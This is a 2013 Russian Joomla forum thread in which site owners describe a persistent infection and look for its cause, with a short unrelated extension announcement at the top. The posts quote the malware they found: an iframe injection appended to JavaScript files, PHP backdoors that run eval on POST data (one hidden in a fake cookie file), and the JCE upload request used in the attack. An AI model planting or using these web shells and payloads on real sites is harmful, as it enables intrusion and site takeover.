Новости Joomla

Компонент View logs v.2.2.0

👩‍💻 Компонент View logs v.2.2.0.По горячим следам, рекомендациям и просьбам Joomla-сообщества компонент просмотра логов Joomla получил следующую версиюv.2.2.0. Что нового?- Обновление интерфейса: список логов сделан в виде таблицы, отображение дополнительной информации в списке файлов (время создания и последнего изменения, кнопки действий и их порядок) изменены и сделаны менее пёстрыми.- Добавлен поиск-фильтр по имени файла лога на странице. Находите нужный файл быстрее.- Большие файлы. Просмотр файла лога в модальном окне сохранён для файлов менее 1МБ. Возможность открыть файл в отдельном окне сохранена. Но используйте эту функцию с осторожностью: файлы объёмом 8-10мб ещё возможно открывать в браузере, но более крупные - не рекомендуется. Системные требования:- Совместимость с Joomla 6 и PHP 8.4.- Минимальная версия PHP по-прежнему 8.0.Страница расширенияGitHub расширения@joomlafeed#joomla #расширения

0 Пользователей и 1 Гость просматривают эту тему.
  • 13 Ответов
  • 6664 Просмотров
*

tkav

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Короче началось с того, что Касперский начал ругаться при просмотре сайта.
При анализе выяснилось, что все папки с доменами-сайтами заржены. Зараза каключается в добавлении ко ВСЕМ *.js дописки вида
Код
;document.write('<iframe name="Sertnox" style="position:fixed;left:-500px;top:0px;" height="128" width="128" src="http://rsdlfyrn.lflinkup.net/e8ddc4f1.3HIcyxr?default"></iframe>');
при восстановлении чистых файлов с дистрибутива, практически сразу этот код появляется опять. Дата изменения файлов при этом не меняется.
Также были обнаружены файлы с разными названиями типа
.e9gwpz.php
.bhuzih.php
и т.п.  (конечно всё, что нашел, удалил)
их содержимое такое:
Код
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
  echo '<textarea id=areatext>';
  eval($msg);
  echo '</textarea>bg';
  exit;
}}
?>

Также встретил подозрительный файл j.php :
Код
# Netscape HTTP Cookie File
# http://curl.haxx.se/rfc/cookie_spec.html
# This file was generated by libcurl! Edit at your own risk.

194.242.59.43 FALSE /about/ FALSE 0 <?eval(stripslashes(array_pop($_POST)))?> 1

А также ещё несколько подозрительных, которые подлиннее, начинаются они так:
Код
<?php
/**
* @version $Id: framework.php 22381 2011-11-14 01:18:53Z dextercowley $
* @package Joomla
* @copyright Copyright (C) 2005 - 2010 Open Source Matters. All rights reserved.
* @license GNU/GPL, see LICENSE.php
* Joomla! is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*/

// no direct access
class JToolBarHelper
{

/**
* Title cell
* For the title and toolbar to be rendered correctly,
* this title fucntion must be called before the starttable function and the toolbars icons
* this is due to the nature of how the CSS has been used to postion the title in respect to the toolbar
* @param string The title
* @param string The name of the image
* @since 1.5
*/
function title($title, $icon = 'generic.png')
{.....

Подскажите, как вылечить заразу и найти уязвимость...
Время изменения файлов не фиксируется, так что и логи затруднительно посмотреть. Обращения извне во время возобновления заражения файлов не происходит. Заражаются даже те сайты(папки), домены которых не существуют, т.е. скрипт тупо сканирует все папки аккаунта...
Хостинг jino.ru ; Joomla 1.5.26 и иногда 1.5.23 (всего штук 20 сайтов)

Для пробы перенес несколько сайтов на другой хостинг (sweb.ru) - вручную вроде всё вычистил при этом - но они тоже заразились через неделю.
*

draff

  • Гуру
  • 5801
  • 434 / 7
  • ищу работу
*

Zemlianin

  • Новичок
  • 3
  • 0 / 0
У меня вчера тоже самое началось, добавились хвосты к JS файлам со словом "Sertnox".
В Joomla 1.5 сайт работает без видимых нарушений. В Joomla 1.0 полетело меню админки и редакторы.
В Joomla 2.5 полетели редакторы. Обычная чистка JS файлов не помогает.
« Последнее редактирование: 07.02.2013, 09:40:04 от Zemlianin »
*

festLethal

  • Захожу иногда
  • 64
  • 1 / 0
У меня подобное было, уязвимость была в том, что пароли сохранял в ftp клиенте, что делать не стоит
*

tkav

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
У меня вчера тоже самое началось, добавились хвосты к JS файлам со словом "Sertnox".
В Joomla 1.5 сайт работает без видимых нарушений.
Это до той поры, пока не испортятся файлы админки. Я временно восстанавливваю работоспособность наложением поверх дистрибутива Joomla.  
Пожалуйста, поделитесь своими действиями, которые приводят к положительному результату.

У меня подобное было, уязвимость была в том, что пароли сохранял в ftp клиенте, что делать не стоит
Изменил все доступы и пароли... Но сильно сомневаюсь, что вредоносный код проник через ftp. Скорее всего какая-то уязвимость J или сторонних компонентов. Полазил по хакерскому форуму, но навскидку не нашел в их списке своих компонентов.
« Последнее редактирование: 07.02.2013, 10:39:47 от tkav »
*

Zemlianin

  • Новичок
  • 3
  • 0 / 0
У меня шесть сайтов на одном сервере, все заразились. Скорее всего зараза идет через ворованные пароли к FTP. Придется пароли хранить в другом месте.
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
все последствия поста ТС это редактор JCE и менеджер от nonumber, последняя уязвимость
@tkav
пост хороший перенесите в тему
http://joomlaforum.ru/index.php/topic,246899.0.html
развернутый ответ дадут там
*

tkav

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
все последствия поста ТС это редактор JCE и менеджер от nonumber, последняя уязвимость
JCE не пользуюсь, стоит дефолтный TinyMCE . nonumber - не пользуюсь и даже не знаю что это.
Здесь что-то другое....
*

flyingspook

  • Moderator
  • 3590
  • 247 / 9
повторю
Цитировать
все последствия поста ТС это редактор JCE и менеджер от nonumber, последняя уязвимость
+ не вовремя обновленный движок
+ это касается всех сайтов на учетке/пользователе хоста
другие причины угон/подбор пасов, кому то насолили
*

melnik

  • Захожу иногда
  • 51
  • 3 / 0
Такая же проблема. Три сайта на выделенном IP заражены. В js появляются левые ifrаmы. Сначала удалял эту фигню, а потом обратил внимание, что они появляются и пропадают сами. Притом иногда дописки в js проявляются сразу на трех сайтах, а иногда на двух, а третий чист. Не могу найти источник заразы, доступ по ftp закрыт. Помогите кто-нибудь, если кто-то разобрался в этой проблеме.  

два сайта на Joomla 5.2.9 и один на Joomla 1.5.26
« Последнее редактирование: 09.02.2013, 20:09:42 от melnik »
*

Zemlianin

  • Новичок
  • 3
  • 0 / 0
У меня шесть сайтов на одном сервере, все заразились. Скорее всего зараза идет через ворованные пароли к FTP. Придется пароли хранить в другом месте.
-------------------------------------------------------
Посмотрел FTP LOG файл, чужие не заходили. Вся зараза идет через уязвимость редактора JCE. Нужно восстановить прежнюю версию сайта до заражения, удалить JCE из компонентов и плагинов закачать последние версии редактора и Joomla соответственно 1.5   1.6   1.7   2.5 на всех сайтах акаунта.
*

Rex_One

  • Захожу иногда
  • 453
  • 37 / 0
JCE ОБНОВЛЯТЬ ВСЕМ СРОЧНО!

При взломе осуществляется запрос на сайт, который позволяет в любую часть сайта записать файл:
POST /index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&method=form

Сейчас наблюдаются случаи, когда злоумышленник закачивает файл sejeal.jpg или x.txt в корень сайта.

Пресс релиз на сайте модуля
http://www.joomlacontenteditor.net/news/item/jce-and-your-sites-security
Кривизна рук не компенсирует прямизну извилин.
*

tkav

  • Осваиваюсь на форуме
  • 23
  • 0 / 0
Данная конкретная зараза (которая пишет в *.js) прицепилась точно не из JCE, т.к  он у меня точно не установлен.
Да, кто-то тайно управляет появлением/изчезанием посторонних ссылок в скриптах. Причем часто убирается некорректно и сайты перестают работать, особенно админка страдает.
Чтобы оставить сообщение,
Вам необходимо Войти или Зарегистрироваться
 

Как выявить вредоностный код на CMS Joomla?

Автор stud_pro

Ответов: 1
Просмотров: 2491
Последний ответ 23.04.2024, 10:06:10
от wishlight
Вирус редирект или взлом с редиректом Joomla 3.10

Автор Wany205

Ответов: 1
Просмотров: 3379
Последний ответ 25.05.2023, 08:49:57
от Театрал
Скрипты защиты Joomla 4

Автор mister_boy

Ответов: 6
Просмотров: 3366
Последний ответ 16.05.2023, 16:38:58
от mister_boy
Компоненты и скрипты для защиты сайта. Логи атак на сайты

Автор wishlight

Ответов: 678
Просмотров: 266988
Последний ответ 14.09.2022, 14:29:43
от wishlight
Поставил Joomla 4. Хостинг nic.ru стал ругаться на ошибки безопасности

Автор Oleg+

Ответов: 5
Просмотров: 2544
Последний ответ 13.09.2021, 09:23:28
от Oleg+